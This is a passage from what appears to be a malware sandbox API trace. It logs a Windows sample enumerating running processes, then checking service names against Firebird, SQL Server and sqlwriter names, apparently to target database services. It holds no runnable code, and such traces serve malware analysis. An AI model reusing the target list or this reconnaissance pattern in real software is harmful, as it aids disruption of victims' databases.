pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0198.360] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0198.360] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0198.360] lstrlenW (lpString="entering.exe") returned 12 [0198.361] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="literally.exe")) returned 1 [0198.361] lstrlenW (lpString="literally.exe") returned 13 [0198.361] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="prep.exe")) returned 1 [0198.362] lstrlenW (lpString="prep.exe") returned 8 [0198.362] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="homeless.exe")) returned 1 [0198.362] lstrlenW (lpString="homeless.exe") returned 12 [0198.363] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tips.exe")) returned 1 [0198.363] lstrlenW (lpString="tips.exe") returned 8 [0198.363] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rhode_cow.exe")) returned 1 [0198.364] lstrlenW (lpString="rhode_cow.exe") returned 13 [0198.364] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="discount.exe")) returned 1 [0198.364] lstrlenW (lpString="discount.exe") returned 12 [0198.364] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="littleclosest.exe")) returned 1 [0198.365] lstrlenW (lpString="littleclosest.exe") returned 17 [0198.365] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compact.exe")) returned 1 [0198.366] lstrlenW (lpString="compact.exe") returned 11 [0198.366] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="transmission-inclusion.exe")) returned 1 [0198.366] lstrlenW (lpString="transmission-inclusion.exe") returned 26 [0198.367] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mcdonald-drugs-employers.exe")) returned 1 [0198.367] lstrlenW (lpString="mcdonald-drugs-employers.exe") returned 28 [0198.367] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="harris promoting wow.exe")) returned 1 [0198.368] lstrlenW (lpString="harris promoting wow.exe") returned 24 [0198.368] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="vincentkills.exe")) returned 1 [0198.368] lstrlenW (lpString="vincentkills.exe") returned 16 [0198.369] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="armstrong.exe")) returned 1 [0198.369] lstrlenW (lpString="armstrong.exe") returned 13 [0198.369] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="superb_guilty.exe")) returned 1 [0198.370] lstrlenW (lpString="superb_guilty.exe") returned 17 [0198.370] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditional employer.exe")) returned 1 [0198.370] lstrlenW (lpString="conditional employer.exe") returned 24 [0198.371] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middle shown.exe")) returned 1 [0198.371] lstrlenW (lpString="middle shown.exe") returned 16 [0198.371] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forced_online.exe")) returned 1 [0198.372] lstrlenW (lpString="forced_online.exe") returned 17 [0198.372] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="knitting.exe")) returned 1 [0198.372] lstrlenW (lpString="knitting.exe") returned 12 [0198.373] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counting_rankings_maternity.exe")) returned 1 [0198.373] lstrlenW (lpString="counting_rankings_maternity.exe") returned 31 [0198.373] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephony_assumption_pharmacies.exe")) returned 1 [0198.374] lstrlenW (lpString="telephony_assumption_pharmacies.exe") returned 35 [0198.431] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance inns helpful.exe")) returned 1 [0198.432] lstrlenW (lpString="guidance inns helpful.exe") returned 25 [0198.432] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.441] lstrlenW (lpString="svchost.exe") returned 11 [0198.441] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0198.441] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0198.442] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0198.442] lstrlenW (lpString="conhost.exe") returned 11 [0198.442] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0198.443] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0198.443] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0198.444] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0198.444] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0198.445] lstrlenW (lpString="WMIADAP.exe") returned 11 [0198.445] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xb04, pcPriClassBase=8, dwFlags=0x0, szExeFile="11.exe")) returned 1 [0198.445] lstrlenW (lpString="11.exe") returned 6 [0198.445] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0198.446] lstrlenW (lpString="cmd.exe") returned 7 [0198.446] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0198.447] lstrlenW (lpString="conhost.exe") returned 11 [0198.447] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0198.447] CloseHandle (hObject=0x2a0) returned 1 [0198.447] Sleep (dwMilliseconds=0x1f4) [0198.958] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x889868 [0198.959] EnumServicesStatusExW (in: hSCManager=0x889868, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 0 [0198.959] GetLastError () returned 0xea [0198.959] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1e4a) returned 0x810c70 [0198.959] EnumServicesStatusExW (in: hSCManager=0x889868, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x810c70, cbBufSize=0x1e4a, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x810c70, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 1 [0198.959] CloseServiceHandle (hSCObject=0x889868) returned 1 [0198.960] lstrlenW (lpString="Appinfo") returned 7 [0198.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0198.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0198.960] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0198.960] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0198.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0198.960] lstrlenW (lpString="AppXSvc") returned 7 [0198.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0198.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0198.960] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0198.960] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0198.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0198.960] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0198.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0198.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0198.960] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0198.960] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0198.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0198.960] lstrlenW (lpString="Audiosrv") returned 8 [0198.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0198.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0198.960] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0198.960] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0198.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0198.960] lstrlenW (lpString="BFE") returned 3 [0198.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0198.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0198.960] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0198.960] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0198.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0198.960] lstrlenW (lpString="BITS") returned 4 [0198.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0198.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0198.961] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0198.961] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0198.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0198.961] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0198.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0198.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0198.961] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0198.961] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0198.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0198.961] lstrlenW (lpString="CDPSvc") returned 6 [0198.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0198.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0198.961] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0198.961] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0198.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0198.961] lstrlenW (lpString="ClickToRunSvc") returned 13 [0198.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0198.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0198.961] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0198.961] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0198.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0198.961] lstrlenW (lpString="ClipSVC") returned 7 [0198.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0198.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0198.961] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0198.961] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0198.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0198.961] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0198.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0198.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0198.961] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0198.961] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0198.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0198.961] lstrlenW (lpString="CryptSvc") returned 8 [0198.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0198.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0198.961] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0198.961] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0198.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0198.962] lstrlenW (lpString="DcomLaunch") returned 10 [0198.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0198.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0198.962] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0198.962] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0198.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0198.962] lstrlenW (lpString="Dhcp") returned 4 [0198.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0198.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0198.962] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0198.962] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0198.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0198.962] lstrlenW (lpString="Dnscache") returned 8 [0198.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0198.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0198.962] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0198.962] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0198.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0198.962] lstrlenW (lpString="DoSvc") returned 5 [0198.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0198.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0198.962] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0198.962] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0198.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0198.962] lstrlenW (lpString="DPS") returned 3 [0198.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0198.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0198.962] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0198.962] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0198.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0198.962] lstrlenW (lpString="DusmSvc") returned 7 [0198.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0198.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0198.962] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0198.962] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0198.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0198.963] lstrlenW (lpString="EventLog") returned 8 [0198.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0198.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0198.963] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0198.963] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0198.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0198.963] lstrlenW (lpString="EventSystem") returned 11 [0198.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0198.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0198.963] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0198.963] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0198.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0198.963] lstrlenW (lpString="FontCache") returned 9 [0198.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0198.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0198.963] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0198.963] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0198.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0198.963] lstrlenW (lpString="gpsvc") returned 5 [0198.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0198.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0198.963] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0198.963] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0198.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0198.963] lstrlenW (lpString="iphlpsvc") returned 8 [0198.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0198.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0198.963] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0198.963] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0198.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0198.963] lstrlenW (lpString="KeyIso") returned 6 [0198.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0198.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0198.963] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0198.963] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0198.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0198.964] lstrlenW (lpString="LanmanServer") returned 12 [0198.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0198.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0198.964] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0198.964] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0198.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0198.964] lstrlenW (lpString="LanmanWorkstation") returned 17 [0198.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0198.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0198.964] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0198.964] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0198.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0198.964] lstrlenW (lpString="lfsvc") returned 5 [0198.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0198.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0198.964] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0198.964] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0198.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0198.964] lstrlenW (lpString="LicenseManager") returned 14 [0198.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0198.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") 